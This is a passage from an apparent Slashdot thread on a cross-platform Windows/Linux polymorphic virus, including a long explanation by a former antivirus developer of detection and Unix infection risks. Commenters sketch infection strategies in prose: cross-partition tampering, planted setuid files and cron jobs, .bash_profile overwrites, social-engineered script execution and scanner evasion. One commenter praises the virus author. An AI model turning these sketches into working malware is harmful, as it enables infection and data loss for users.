    A hybrid virus could have its own filesystem code, and thereby infect say a linux partition on a dual-boot machine that is currently booted in windows, or vice-versa. The real killer here would be that your regular user-ID based security wouldn't help at all. While running in windows, the virus would have unlimited access to the linux-partition, enabling it to infect linux binaries it otherwise would only have been able to touch when run as root. And while running in linux, it could infect binaries on a FAT partition without having to worry about the virus-checker getting in the way. In fact, it could easily infect or replace the virus-checker itself.

    1. Re:here's a scary thought... by acceleriter · · Score: 2
      Nice one--that is scary. The only way around that one would be to keep both drives electrically separate, maybe using a switch like the Trios (warning, link has Flash). Now they have a selling point!

      ~~~

      --

      CEE5210S The signal SIGHUP was received.

    2. Re:here's a scary thought... by Joe+Tie. · · Score: 2, Funny

      I read that as "inject a Linux partition", through a bit of a early waking haze. Now that'd be a fun virus. Millions of unsuspecting windows users go to sleep only to wake up to lilo asking whether they want to boot into SuSE, Mandrake, or the insecure system that allowed this to happen in the first place.

      --
      Everything will be taken away from you.
    3. Re:here's a scary thought... by Tony+Hammitt · · Score: 2

      I'd worry about that if I ever booted:

      $ uptime
      9:52pm up 511 days, 18 min, 4 users, load average: 0.00, 0.00, 0.00

      Oh yea, I don't have windoze installed on that box. It's an Alpha and windoze won't run...

    4. Re:here's a scary thought... by Ungrounded+Lightning · · Score: 2

      I don't see how this relates to my comment. I have my vfat partition(s) mount on boot, but they are mounted in such a way as to only allow root to edit them - and only members of a certain group can read them.

      Let me try:

      1) While running Windows you get the initial infection. The virus modifies files in the (wide open) linux partition. Windows virus-detection software (that has not been primed for this virus) is not alerted.

      The virus can modify any files on the Linux partition, add more, and change permissions.

      2) When you boot into Linux a lot of programs are run as root, and many others that are setuid root will be run from time to time after booting. One of those programs was infected by the virus when it was running as windows.

      Alternatively the virus could have:
      - Added a new setuid file and a cron job to run it.
      - Added a new file and a boot-time script to run it.
      - Modified any common utility and made it setuid root (so it has the necessary permissions when you run it yourself later.)
      I could go on.

      Now that an infected program is running as root, it can do what it wants to the Windows partition - infect anything, kill or modify the anti-virus programs (including modifying it so it SPREADS the virus), install new software, etc. No Windows virus checking is running and a unix root program can do anything. So now it's the Windows partition's turn to be wide open.

      With both partitions infected your machine is a hazard to itself and the rest of the net regardless of which system you are running.

      --
      Bantam Dominique roosters crow a four-note song. Once you've heard it as "Happy BIRTHday" you can't NOT hear it that way
    5. Re:here's a scary thought... by Pogue+Mahone · · Score: 2
      The virus running on Windows has full access to the whole filesystem, so can infect (say) /bin/ls and also make it setuid root.

      Even worse, it could infect the kernel.

      --
      Every bloody emperor has his hand up history's skirt [Peter Hammill/VdGG]
    6. Re:here's a scary thought... by Tony-A · · Score: 2

      kill or modify the anti-virus programs (including modifying it so it SPREADS the virus)
      THAT'S the one to worry about.

    7. Re:here's a scary thought... by Otto · · Score: 2

      Sorry, but this won't work unless you have taught windows how to read a Linux partition. Yes, while booted into Linux, the virus could infect the windows partition. But, no way that windows virus accesses and infects the Linux partition.

      It hardly matters what Windows knows how to do. The virus can have it's own FILESYSTEM CODE. Windows may not understand the partition, but it doesn't have to, only the virus does. Yeah? And Windows does have full access to the entire disk, you do understand that, right?

      --
      - Give a man a fire and he's warm for a day, but set him on fire and he's warm for the rest of his life.
    8. Re:here's a scary thought... by Ungrounded+Lightning · · Score: 2

      If Windows' virus scanner didn't catch the virus on the initial infection (when it infected the Linux partition), why would it be useful to infect the computer via Linux as a means of avoiding the Windows virus scanning software?

      Because the virus could do things from the Linux environment that WOULD have been detected by the anti-virus software if it tried it from the Windows environment during the initial infection.

      --
      Bantam Dominique roosters crow a four-note song. Once you've heard it as "Happy BIRTHday" you can't NOT hear it that way
    9. Re:here's a scary thought... by Ungrounded+Lightning · · Score: 2

      kill or modify the anti-virus programs (including modifying it so it SPREADS the virus)

      THAT'S the one to worry about.

      Tell me about it.

      I've been worried for a long time about a trojan disguised as an anti-virus update that used the anti-virus software to "fix" uninfected files by infecting them.

      Or a variant: One manufacturer's anti-virus configuration treating a competitor's software as being malicious and disabling it.

      --
      Bantam Dominique roosters crow a four-note song. Once you've heard it as "Happy BIRTHday" you can't NOT hear it that way
    10. Re:here's a scary thought... by spitzak · · Score: 2

      The virus on Windows could modify the Linux partition so it can aquire the rights to modify the Windows partition.

  38. Re:Use the source Luke! by Chasing+Amy · · Score: 3, Insightful

    > Compiling all my apps from source removes worries about this kinda thing ;)

    Not hardly. Look at how something like Klez works..it can infect a system through vulnerabilities in Web browsers if you check your e-mail through a Web interface. It's only a matter of time until viruses and worms with similar abilities move to Linux and OS X. The only reason they haven't done so yet isn't superior security, it's the fact that Windows systems are the best targets since there are so many. Why infect a few Linux boxen when you can infect tens or hundreds of thousands of Windows machines with the same effort?

    --

    Chasing Amy
    (We all chase Amy...)
    "The more corrupt the state, the more numerous the laws"-Tacitus
  39. Kudos by sinserve · · Score: 2

    My congrats go to the coder who was behind this, a good job well done.

    The whinning security-experts will never see the beauty in this. A polymorphic engine?
    when was the last time there was a real polymorphic virus? and a cross-platform one at that.

    Another kudos flies to "the whale" aka "motherfish". The first polymorphic virus, EVER.

  40. Re:Use the source Luke! by infiniti99 · · Score: 3, Insightful

    I don't know about you, but I don't have time to go through everything I build with a fine tooth comb looking for nasties.

    I don't either, but the mere fact that the source code is available makes the author trustworthy in my opinion. The mindset of OSS developers is to help out and show off (I should know, as I am one). The last thing a free software author would ever do is try to compromise your system. Especially if you're trying to build a reputation, why ruin it? Do you honestly think, for example, that David Faure of KDE would put something harmful into the next release? Or Linus would try to slip something devastating into the kernel? I would bet money this would never happen.

    These developers work their asses off for the community and keep their code open. No need for me to personally read any of it. They already get 10x my trust by their actions.

  41. Re:Use the source Luke! by BreakWindows · · Score: 4, Insightful

    Compiling all my apps from source removes worries about this kinda thing ;)

    In case you were wondering, he's posting from a machine running the Linux kernel, version 1.1, which he just recently finished checking.

    In a bitter case of irony, I screwed with his compiler to make that kernel bundle in a trojan. ;)

  42. [Insert sarcasm here] by tcc · · Score: 2

    Well, the Wine team should hire this guy for their V3 release, he could add up the remaining (dis)functionnality missing to close the gap between linux and windows compatibility :)

    --
    --- Metamoderating abusive downgraders since my 300th post.
  43. Shying away from x86 at lightspeed. by pinkpineapple · · Score: 2

    During my intern job this summer, I am using a Linux PPC for checking my mail and run my "admin" apps (oo 1.0+MozillaRC, yeah!) Of course, while my co-workers are spending way to much time dealing and worrying with virus infections on their machines, I can safely upload any message without fearing a dreaded attack. I don't even have to run an antivirus program. It pays to be a minority.

    PPA, the girl next door.

    --
    -- I feel better now. Thanks for asking.
  44. Re:why i love my mac (and PlayStation2/Linux) by vik · · Score: 2

    I hope my PlayStation 2 running Linux remains unaffected then.

    I did actually think of using it as a firewall box at one point. That'd confuse the crap out of script-kiddies.

    Vik :v)

  45. This must mean that Linux by Archfeld · · Score: 2

    has really HIT the BIG TIME now :)

    --
    errr....umm...*whooosh* *whoosh* Is this thing on ?
  46. Proof of Concept to me... by RinkSpringer · · Score: 3, Informative

    This seems more like a proof of concept to me than a real virus. Especially since the author specifically emailed the virus to anti-virus labs, it's more like: See, it *can* be done.

    Of course, you could expect that. Basically, a virus relies on just one thing: privileges. Privileges means the possibility to mess other programs up. And because there are so much Windows virusses compared to other OS-es, it's easy to see Windows handles rights... differently... than a secure OS :)

    I don't think Linux, or UNIX viruses in general, will become a real threat. As long as you use your brain and don't do everything as root (as about every guide warns you against anyway), you'd be rather safe. Can't mess up stuff without the rights to do so.

    1. Re:Proof of Concept to me... by 90XDoubleSide · · Score: 2
      As long as you use your brain and don't do everything as root (as about every guide warns you against anyway), you'd be rather safe. Can't mess up stuff without the rights to do so.

      This is true of a server or a system with files stored remotely (and backed up), but on a desktop the files you own are far more important than the files owned by the system. I could reinstall the system partition on my desktop in 20 minutes, but if I didn't have backups of my files it wouldn't be of much use to me. It is nice to know that a virus won't erase my system or take out a critical machine in the UNIX world, but users must always remember that they are not invulnerable and the best way to feel safe from viruses is to have a current backup.

      Most Windows viruses that damage files go after random files that belong to the user, although of course many will just take out everything since they can, but I would say the myriad security holes in Windows, Explorer, and Outlook are more to blame than Windows' privelages sytem.

      --
      "Reality is just a convenient measure of complexity" -Alvy Ray Smith
  47. It's called a buffer overflow by DrSkwid · · Score: 3, Informative

    Old but never say never

    A buffer overflow vulnerability exists in the popular mail client Pine 4.21 (and possibly earlier versions), relating to the function which regularly checks for incoming email.

    The real concern here is that this requires no user interaction to exploit.. a target need only be using a vulnerable version of pine. The overflow occurs when the user recieves new email. While typically not yielding root privileges (unless root reads email with pine AS root) this can be used by a remote, anonymous attacker to gain local access to the target host.

    --
    There are places where the networks are not touching,and there are places where they are-Boeing's Lori Gunter
  48. Freakin' Genius by Otto · · Score: 3, Interesting

    Now that's really some good thinkin' there. Completely bypasses all your security because you're not running any of it. Take it a step further, a virus that infects and spreads on Windoze, where it's easy to do, but finds Linux partitions, roots them and installs its own backdoors and so forth.

    Kinda scary. Next time you're in linux, it connects to somewhere over the net telling the author another box has been rooted and voila, he ownz you.

    Kinda a good reason not to run Windows in dual boot mode I'd say.

    There's some preemptive stuff you can do with this though.. Have a kernel module (possibly compiled in) that does checksums all your major binaries before booting and warns you when they've changed. Of course, the virus has total kernel access too, so this may not be effective if the author planned for it.

    --
    - Give a man a fire and he's warm for a day, but set him on fire and he's warm for the rest of his life.
    1. Re:Freakin' Genius by sconeu · · Score: 2

      Great. Now we've given them an idea.

      One of us had better patent this quick, so we can sue anyone who tries it!

      --
      General Relativity: Space-time tells matter where to go; Matter tells space-time what shape to be.
  49. Re:Rabid Speculation by Allnighterking · · Score: 2

    Ok here's my theory. A secret Gov organization in league with the triad is creating and perpetuating conspiracy theories to knock us off track on there real plans for world domination.

    --

    I'm sorry, I'm to tired to be witty at the moment so this message will have to do.

  50. And of course they leave out the critical info by Todd+Knarr · · Score: 2

    Namely, what entry vectors it uses. So now we know there's a new virus out, but we don't have any idea how it's going to infect a system. We know we may be vulnerable, but we don't have any idea what we have to check or shut down to stop being vulnerable. This is why I get fanatic about full disclosure.

    1. Re:And of course they leave out the critical info by xtremex · · Score: 2

      It seems to me that most viruses (NOT computer virus, but a Microsoft Virus) are written in VB. I doubt a script kiddie can even handle C code. So I think we're safe until Gnome Basic is fully developed!

      --
      If you're not a Liberal in your 20's, then you have no heart.If you're still a Liberal in your 30's you have no brain.
  51. Why viruses can and will occur on Linux by Nailer · · Score: 2


    The reason that it's hard to infect a Linux ... system is that hardly anyone runs daily activities as root and only updates their /bin, /usr/bin, etc binaries from a known source or from source code.


    You said it yourself - hardly anyone updates from a known source. Put up your web page of `mplayer 0.98 CVS packages' and tell some folks on IRC about it (maybe actually include mplayer CVS). This great new version of Mplayer doesn't have packages or come with anyone's distro.
    Tell some people on IRC. They'll download it, and it will infect every RPM on their system (or Dpkg,but Dpkg isn't LSB and its distros don't have as many users as RPM based ones).

    Hell, sign the source / binary packages if you want - if you live in a country where the law doesn't care about this sort of thing, and you don't work for a company where you might be fired for such behavior, go ahead. So many people seem to make a big deal about knowing packages came from a particular source - it doesn't matter if you can't punish that person if they do trojan an app.

    So how do you infect your Linux box? Easily, through denial of an obvious threat.

    1. Re:Why viruses can and will occur on Linux by moncyb · · Score: 2

      Hell, sign the source / binary packages if you want - if you live in a country where the law doesn't care about this sort of thing, and you don't work for a company where you might be fired for such behavior, go ahead. So many people seem to make a big deal about knowing packages came from a particular source - it doesn't matter if you can't punish that person if they do trojan an app.

      So digital signatures for programs are identifiably linked to people? What is everyone using--Verisign to verify the identity of a public key? I thought they were just using pgp and providing the public key on the project's homepage. Not that Verisign can absolutely guarantee that they have no fraudulently created identities...

      It doesn't matter if you can't even find out if a real person signed the packages...if that is the case, the threat is even worse than you state!

      Maybe Open Source needs a trusted public key repository. It wouldn't help the users that don't understand security, but it may help those that do...

    2. Re:Why viruses can and will occur on Linux by Nailer · · Score: 2

      What is everyone using--Verisign to verify the identity of a public key?

      Generally a passport and drivers license, or two other forms of state funded photo ID, at key signing `parties' for major OSS projects. People bring ID, they state their name and their key, they it is added to the projects list of acceptable public keys.

  52. 15 minutes to reinstall OS? by RelliK · · Score: 2

    uhhh sure...

    --
    ___
    If you think big enough, you'll never have to do it.
    1. Re:15 minutes to reinstall OS? by garett_spencley · · Score: 2

      That's for Linux.

      If it's OpenBSD gimme 5 ;^)

      --
      Garett

    2. Re:15 minutes to reinstall OS? by RelliK · · Score: 2

      And how exactly do you accomplish that? Perhaps you can reinstall windows in 15 minues too?

      --
      ___
      If you think big enough, you'll never have to do it.
  53. Reverse XBill. by Erris · · Score: 2

    Make the Debonate virus. It runs under win32 to collect system information which it writes to a small partition at the end of hda. Then it does a Debian net install, completely securing the box by obliterating Windoze.

    --
    DMCA, Hollings, Palladium. What might have sounded like paranoia is now common sense.
  54. That's not much of a virus by Chuck+Chunder · · Score: 2

    If it just deletes everything without infecting anything and spreading itself for a while. Now a real cross-platform virus would try and mount your FAT partitions under linux and your ext2 partitions under Windows and cross infect would be nasty.

    --
    Boffoonery - downloadable Comedy Benefit for Bletchley Park
  55. Do antivirus companies write viruses? No. by drsolly · · Score: 5, Informative

    The short answer is no. The longer answer is given below.

    First, I'll explain who I am. I'm Alan Solomon, I'm a programmer, I designed and coded the engine in Dr Solomon's Antivirus, that engine is now also used in the McAfee (Network Associates) scanner (although I'm sure that by now it's somewhat different from the engine I wrote).

    I worked in the AV world from 1988 to 1998. I'm doing other stuff now, I don't have any ownership in any antivirus companies. Also, caveat, I've been out of this business for a few years, so my knowledge-state isn't current. And, of course, I really can only speak for myself, and the company that bore my name. I can't really speak for other companies.

    I used to get asked "Do antivirus companies write viruses?" a lot. It is, of course, a very insulting question, like asking firemen if they start fires, or dentists if they're the cause of tooth decay. However, I always tried to contain my irritation at the insult (on account of my guess that most people asking me this, don't realise it's an insult) and the answer is "No."

    1. It's unethical. But I guess if you believe that the antivirus folks are a bunch of unethical scroats, that's not a very convincing reason. Actually, the technical folks in the AV industry have to be *very* ethical. Because unethical ones tend not to be accepted by the consensus, and thereby lose a crucial source of information exchange.

    2. It's illegal (actually criminal, virus authors have been put in prison for this. Chris Pile (the "Black Baron") got 18 months, for example). And you can get caught (ask Pile). If you think a company could ask a programmer to write a virus, and hope that no-one else in the company would know about this, and that there's no risk of jail - think again. You have to be *really stupid* to write a virus when you're not able to guarantee anonymity. Of course, you have to be pretty stupid to write a virus at all. By the way, 99% of the viruses that I analysed were really crudely made; some didn't even work at all.

    3. There's no point. Kids all over the world are writing viruses at no cost, providing an ample supply of new stuff.

    4. It takes too long. I'd estimate that the Simile virus, as described, took months and months to develop. It took McAfee two weeks to do the detector; Symantec about the same. So, if the AV companies had to write the viruses as well as do the Antivirus, they'd need 10 or 20 times as many programmers. And you'd have to keep that lot a deadly secret, of course.

    You can't imagine what it's like in a virus lab. There's N new viruses per month, where N isn't a fixed number. And there's M people to do the analysis and coding, and M is never enough. It was like being on a treadmill, and you know that the treadmill is getting faster all the time. Write new viruses? ::laughs hysterically:: We barely had time to post on alt.comp.virus in Usenet.

    So why do antivirus companies sometimes see viruses before any users? Simple. The virus authors send them. The first time this happened was over a decade ago; it surprised me then. And we thought it through at that time. Do we just delete it, and pretend it didn't happen? If you've been sent a virus, and you think you're the only person in the world who has a copy of that virus, you can destroy it, and the world has one virus less. But if there's a chance that the virus author has, or will, release it in the wild, you have to build detection for that virus.

    Also, you have to give a copy to the other antivirus companies. Because we programmers made an agreement between ourselves that we wouildn't force users to buy three different products to detect three different viruses, that we wouldn't compete on the basis of "we can detect X virus and no-one else can". We'll compete on price, speed, accuracy, tech support, etc etc, but not by restriction of virus samples between trustworthy AV companies.

    So, once the virus author gives it to one AV company, all the AV companies have a sample (shortly after) and that virus might not be in the wild, and might never get into the wild. But you can't be sure. For this virus, we read that the virus author sent it to 14 AV companies.

    There's a separation in AV companies between the programmers, who do the virus analysis and coding, and the marketroids, who do the, uh, marketing. The marketroids are constantly trying to persuade people to buy AV software, the programmers constantly trying to hold them in some degree of responsible check. The progammers do have a degree of control, via mechanisms that we put in place a decade ago, but it's impossible to persuade anyone that when a new and technically interesting virus comes along, that people should not be told. You really can't, and shouldn't, try to keep a new and technically interesting virus, a secret. Of course, then the media get their paws on it, and blow up a scarestorm. How do we stop that? I don't think we can.

    I haven't seen or analysed this virus, but from what I've read, it does look A) technically interesting, and B) a complete pig to design detection for (detection means, you always spot the virus when it's there, and you never give a false alarm when it isn't). This virus is technically interesting because it's cross-platform. And it's a complete pig to detect because B.1) it's polymorphic, meaning if you put several samples side by side, there isn't any byte-string that you can be sure will be in all of them, B.2) it's metamorphic (meaning, it's horribly horribly polymorphic, even after you decrypt it you don't have any constant byte-string) and B.3) entry-point obfuscation (which means you don't even know where to start looking for the virus, all you know is that it might be somewhere in the file).

    The fact that the AVERT folks (McAfee) have admitted that this one virus will cause "a slight performance decrease" in the virus scanner, means that this is a significant virus; pretty much every virus causes a near-zero impact on scanning speed. I'd guess that "ActiveDAT technology" means "we've encoded some executable code in the DAT file which the scanner will run". In other words, they had to write a subroutine specifically for this virus.

    That's something that you don't expect to do more than once every couple of years or so.

    Next - can viruses infect Unix, despite the unix security system?

    Yes.

    First, I'd point out that Fred Cohen's doctoral thesis on viruses in 1986, was done using unix boxes. Viruses do not break system security. They infect wherever the system security allows them to, and that's sufficient for them to spread. I'm not expecting a sudden wave of infections on Linux boxes, but please don't think that viruses cannot work on Linux.

    One problem, is that the distinction between an executable and a data file is very grey. Try this simple experiment. Take a simple perl script, test.pl, and change the permissions to 400. Now try to run it. Unix security stops you. Now try running "perl test.pl", and it will run fine.

    And think about macros in documents. They will run even though the document has non-executable permissions.

    See, it doesn't matter that you can't infect ls or ps or df. All it takes is for you to be able to infect your own user-written stuff.

    And by the way, you can infect ls and ps and df. Every now and then, I log in as root, to do some maintenance-type thing, or install something. And while I'm root, if I run a virus-infected program, then the virus has root privilege, and can infect ls and ps and df and anything else it wants to.

    OK, so now we've established that you can infect your own software, let's consider damage. A Linux virus will be prevented from deleting the system files, or from formatting the hard disk, by the system. But since it's running with the same privilege that I (as an ordinary user) has, it has the same read, write and delete access to my data files that I have. And, of course, my data files are the only files with real value on the computer. The Linux system itself can be reinstalled in minutes.

    I've gone on too long already. I better stop before I write another book.

    1. Re:Do antivirus companies write viruses? No. by Todd+Knarr · · Score: 4, Interesting

      And by the way, you can infect ls and ps and df. Every now and then, I log in as root, to do some maintenance-type thing, or install something. And while I'm root, if I run a virus-infected program, then the virus has root privilege, and can infect ls and ps and df and anything else it wants to.

      This does ignore one trait of Unix users, though. Normally I run as a regular user, and I don't have permissions to write to system files or root's personal files. All I can infect is my own, and all my executables live below my home directory. When I su to root, I have things set so that the path automatically gets reset to the system defaults which do not include anything under home directories and most emphatically doesn't include the current directory. This means that, as root, I can't run any of the files that might have been infected by a virus run by any regular user without jumping through some hoops first (which I'm unlikely to do exactly because they're dangerous and unneccesary). This vastly reduces the ability of a virus to spread across the system. Not eliminates, I can always do something stupid, but vastly reduces.

      A virus can destroy my data files, but that's why backups were invented. At worst I lose a day or so's worth of work, whatever was done since the last backup. The new generation may be different, but the older of us view backups as somewhere between a religion and an obsession. This should be system-independent, really, and in this day of cheap CD burners and large-capacity Zip and Orb drives and such there's no excuse.

    2. Re:Do antivirus companies write viruses? No. by drsolly · · Score: 5, Insightful

      Your rootly precautions are good; my point is that a user doesn't need root privilege to get infected and lose data, and a file doesn't need executable privilege in order to get executed.

      At worst?

      Destroying data files isn't what you should worry about; as you pointed out, that's easy to fix.

      Far more worrying is a virus that makes minor changes to your data files. And how long will it be before you notice? And how old a backup will you restore?

    3. Re:Do antivirus companies write viruses? No. by gilroy · · Score: 5, Funny
      Blockquoth the poster:

      It is, of course, a very insulting question, like asking firemen if they start fires, or dentists if they're the cause of tooth decay.


      True story: My dentist, when I was a kid, would give out lollipops. Pure sugar, artificially-colored, decay-inducing lollipops. Swear to God.
    4. Re:Do antivirus companies write viruses? No. by gilroy · · Score: 3, Insightful
      Blockquoth the poster:

      As for the rest, the code itself has infection length of 2132 bytes according to symantec, so it couldn't have been that much of a bear to code up, just a lot of knowledge.

      Sure, like the final length of a virus reflects its complexity or difficulty at all. Ever enter, or even hear about, the obfuscated C contest? Getting a functional program in a small footprint is generally harder than producing a bloated monstrosity.


      Just ask Microsoft. :)

    5. Re:Do antivirus companies write viruses? No. by Todd+Knarr · · Score: 2

      And, of course, how long before the root-owned Tripwire process detects the infection? That tells me when the infection occured, which gives me a known clean point for restores. That'll also put me on notice to clean things up before damage occurs, so unless I'm completely ignoring my own safety precautions it'll still be less than one day's worth of changes at risk.

      What amazes me is that this is the same procedure I was using back in 1985 to protect myself from virus/trojan infestations. Different product, but same process.

    6. Re:Do antivirus companies write viruses? No. by Permission+Denied · · Score: 5, Interesting
      First, I'd like to thank you for creating a slashdot account and contributing to the discussion.

      Now, my question: I still don't understand how a virus could get widespread on Unix. A worm, yes, but not a virus (eg, the Morris worm and that redhat LPRng thing a year ago).

      I agree that if I run an infected executable as root, I'm screwed. I'll even say that if I run an infected executable under my regular user account, I'm equally screwed because it's my data that's important, not the system (as you point out).

      However - here's the big difference - how am I going to end up running an untrusted executable? My mail client never runs untrusted code. In fact, if someone sends me an elf binary, I have to go through several steps in order to save it, chmod it and then run it from a terminal. In Windows, you can get emailed a .exe attachment and you can double-click on it and it runs. This is where that lack of distinction between programs and data actually helps: nothing is a program until I decide it's a program. When I download a perl script using netscape, it will first get 0644 permissions, so it won't be run via the hash-bang mechanism even if it's in my PATH and it won't be run by "perl script.pl" unless I type that into a terminal. If I do something stupid, like making netscape's handler for .pl files "perl %s", then, yes, I'm in trouble, but the default configuration for netscape does not use any interpreters.

      Basically, my point is that I have to go through some trouble to intentionally run a program downloaded off the 'net, which makes it unlikely that I'm going to run a program unintentionally. As for stuff that I run intentionally, those would be source tarballs and the occasional binary executable install program. For these, I just have to trust the origin of the program, but I get to make that decision.

      About the only thing I'm worried about virus-wise is that if some closed-source program like Realplayer has a method for embedding executable code in audio streams, or if AOL's instant messenger program embeds commands in its chat protocol. This is the confusing of data and programs that you mention. Another example would be emacs's auto-execution features. For example, you can add this to the bottom of a file:

      # vi:ts=4
      # vim:et:ts=4
      # Emacs:
      # tab-width:4
      # indent-tabs-mode:nil
      # End:
      This tells emacs, vi and vim to use four-space tabs. Now, emacs is a full programming language, so if one could embed arbitrary lisp forms in this manner, this would cause problems. However, the emacs people already thought of this, so it won't work.

      Another thing that scares me is auto-update features for binaries. For example, if Realplayer includes an auto-update feature, someone can hijack their servers so my next auto-update contains some new "features." But then, if someone hijacks Real's domain, they can just change the binaries I initially downloaded intentionally. I don't see how a virus scanner could help me out here as anyone who does this is likely to write their own little program in C or assembly.

      I'm not familiar with the state-of-the-art in virus scanners, but I can think of a number of ways to obfuscate arguments to system calls, or even encrypt the code that performs system calls and do it all without using libc - I don't see how any heuristic approach could differentiate a rootkit from an media player installation program. Perhaps a virus scanner could detect the popular rootkits and the popular encryption methodologies, but how it's going to tell that the "unlink" system call called with "getenv(HOME) /.realpayer" is OK but "unlink getenv(HOME)" is not OK? Especially if the arguments are not static strings but are put togehter in some fashion and the code for the system calls is taken from .data, copied to the stack, unencrypted using an algorithm I just made up and then jumped to (and the target for the jump is calculated using some complex formula, so you can't search for simple jumps into stack). And this is all off the top of my head - I've never even written any code that runs on the stack. My point is that if someone is knowledgeable enough to break into a server I trust, they may be knowledgeable enough to write a program that bypasses a virus scanner. And if this is the case, why even mess with a virus which attaches itself to other programs instead of installing a rootkit and sending off my IP somewhere? It doesn't make much sense to me.

      There are plenty of unix security issues that keep me on my toes, but these involve buffer overflows in network daemons and setuid programs, poorly written perl cgis and php scripts, firewall scripts, tripwire configurations, etc. - I'm not worried about viruses. The distribution mechanisms that virus kiddies use just don't exist in Linux.

    7. Re:Do antivirus companies write viruses? No. by NeuroManson · · Score: 2

      A suggestion: Include this on antivirus software in the future... The amount of users out there who are sufficiently paranoid of unusual file attachments can send along heuristic records of the file attachments so that the folks on your end could analyze and find a solution to various viruses before they become a problem... If you had enough folks on the outside who had similarly protected systems, finding solutions could be more efficient, kind of like a bucket brigade as it were...

      --
      Just because you can mod me down, doesn't mean you're right. Shoes for industry!
    8. Re:Do antivirus companies write viruses? No. by shogun · · Score: 2

      Or the 4-line perl script that does DeCSS for that matter

      Well you could make a word processors in a 1 line C program. Of course it might not be the most readable code once you've stripped out all the newlines.

    9. Re:Do antivirus companies write viruses? No. by drsolly · · Score: 5, Insightful

      Worm ... virus ...

      To most people, there's no difference whatsoever.
      To AV folks, a worm is just a particular subset of the class of viruses.

      Klez, the number one virus today, is a worm. I haven't checked the numbers, but right now, I'm guessing that email accounts for 99% of virus (i.e., worm) transmission. And I'd guess that the majority of in-the-wild viruses today, are worms.

      How could a virus get widespread on Unix? First, you have to drop the assumption that all Unix users are sophisticated /. readers. Increasingly, as Linux becomes more and more popular, Linux users are going to be no more sophisticated than
      the average user today.

      And when Mr Average User is running his point-and-click email system on Gnome, and a known and trusted friend (spoofed address) sends him "Funny Joke" or "Useful Program" the likelihood of him clicking on it is just as great whatever OS he's running.

      OK, clicking on it won't work, it's 0644. Or will it be? And does it matter if it's 0644, maybe it can still get executed?

      I haven't tried to write a virus (see my original posting), but you can be sure that whenever AV folks get together and have a few beers (beer is crucial to the AV industry) one of the subjects that comes up is "what if?". And we talk about techniques for writing interesting and difficult-to-handle viruses. This speculation is useful, of course, it makes us think ahead. Well, that's how it was a few years ago, I guess it's the same now.

      So, let's speculate a little (and I haven't tested any of these ideas with any mailers or Linux UIs).

      What if you emailed a tar file, and the mailer is set to untar it (AOL has a neat feature, when someone receives a zip file, AOL automatically unzips it)? Now you have a 755 file, right? User executable - now all you need to do is persuade the user to click on it, which has never been a difficulty. "Click here".

      Or how about your suggestion. Persuade the user to open a terminal window and type perl funnyjoke. Mr Average User really doesn't understand the consequences of doing that, especially when the original email came from a trusted source (or so he thought). It doesn't feel to him like he's bypassing a security system. I mean, what kind of security system is it that can be bypassed so easily?

      Or how about this. In the user's home directory, there's .bash_profile. That's 644, the user can overwrite it, or change it (and if the user can do that, maybe some mailers can replace it with an incoming enclosed file, the mailer has at least the same privilege as the user). And then the next time that user logs in, he runs that revised script.

      The distinction between executable and non-executable isn't as black and white as one might have thought.

      Now consider Word (and Office in general). A lot of people have opined that the non-existence of a good Linux Word-compatible program is one of the barriers to Linux acceptance in the corporate world. So, suppose someone made such a clone. Now you have the whole macro-execution thing to worry about. Users get emailed a document written in Word for Windows; the macros also work under Linux, because the platform is Word, not Windows or Linux. Word for Windows macros work just fine on Word for Mac (at least, they did a few years ago, things might have changed since I was current, but I doubt it).

      And Jane User has write access to all her own documents. And then emails one to a colleague ...

      Now, what about us sophisticated folks, how could we get hit by a virus?

      Well, I don't know about you, but when I download and compile a tarball, I don't actually read through megabytes of source code looking for a self-replicator. I trust the source. I guess almost everyone does the same. And what is the source? Well, I trust RedHat CDs, I trust the Red Hat web site almost as much (assuming no sneaky
      DNS spoofing ...)

      OK, so the RedHat site is OK, but I also go to DaveCentral, and Freshmeat, and SourceForge, and the CGI Resource, and I follow links from there to the web site that the software came from ....

      In other words, I get software from *all over*, and I'd guess that other folks do too.

      And your point is that *you* get to make the decision about who to trust; my point is that Mr Average User gets that *badly* wrong, and I will too, sometimes. It's a balance. I *really want* this program that synchronises my system clocks, and the site I got it from certainly looks OK, I mean, all the words are spelled pretty much right and there's not a single "31334" there.

      And we all know, you can't have a virus on Linux, so I don't actually have to be the least bit careful, right? Wrong.

      "I'm not worried about viruses"

      I agree, you don't have to be worried. But I'd suggest that you be at least a little bit *careful*.

      So, why should you care if Mr Average user hoses his data?

      A) because you're his tech support person, and you're the one he'll complain to
      B) because he's now sending worms to everyone else on the subnet, because that's that this worm does
      C) because some worms choose a random file to mail out, and that can be *really embarrassing*.

      On your final point about virus scanners; you're assuming that a heuristic searches for unlink; I doubt if any heuristics do that. I personally never wrote a heuristic (it wasn't needed when I was in the game), but I know folks who wrote the ones that are in scanners that are in very common use today, and I remember one of them telling me about one of the heuristics in the scanner for Word viruses, and it was looking for something I'd never heard of, that was to do with copying macros. You don't look for the damage routine, you look for the self-copying routine. And there's probably a lot more on heuristics; like I said, I never wrote one, so I don't know.

      It is *trivially easy* to write a virus that today's scanners can't detect. A scanner is looking for a particular bunch of things; all you need to do is keep changing your virus until the scanner doesn't detect it any more.

      And you don't need to be knowledgable to write a virus. A virus is just a program that copies itself. You could write that in perl in not many minutes. Add the code to look for another .pl program, and have the virus edit that to include your virus. You could add calls to copy across the net in a few minutes more. And it's at that point that you can start getting fancy. Please don't assume that virus authors are all really great programmers; more than 99% of them are not. I know because, I used to disassemble their code.

      Today, there isn't a significant virus problem in Linux. I hope it stays that way.

    10. Re:Do antivirus companies write viruses? No. by Todd+Knarr · · Score: 2

      I do, but in restricted circumstances. The main criteria is that the package has to be checksum-verified and come from a developer and a site I recognize as trustworthy. Anything else gets compiled as a regular user and installed under a home directory, and I watch the output as make runs. Then if I decide to install the software I change ownership and move the installed copy to it's final location.

      Yes, I'm paranoid. You'd be too if you'd spent time working at a university where you could virtually guarantee that one or another of those "helpful" classmates slipped something in to embarass you if you didn't watch out.

    11. Re:Do antivirus companies write viruses? No. by Art+Tatum · · Score: 2, Insightful
      Ever done this?
      su
      make install
      Do you read through the Makefiles? I don't. I don't think most other people do either. I generally don't bother checking the checksums either. That's dumb, but people (myself included) are generally lazy.
    12. Re:Do antivirus companies write viruses? No. by leuk_he · · Score: 2

      Like asking firemen if they start fires..

      They do! and a lot. it is called training. When they light another plane at the airport it shocks quite some people who are just taking off. But no real damage is done, and if they did not train there would be,BIG problems if a real fire occured.

      And anti viral software writers do not train? "there a enough N fires already". Then how do you test software? collecting viri?

  56. Now if only MS would release Outlook for Linux... by SmegTheLight · · Score: 3, Insightful

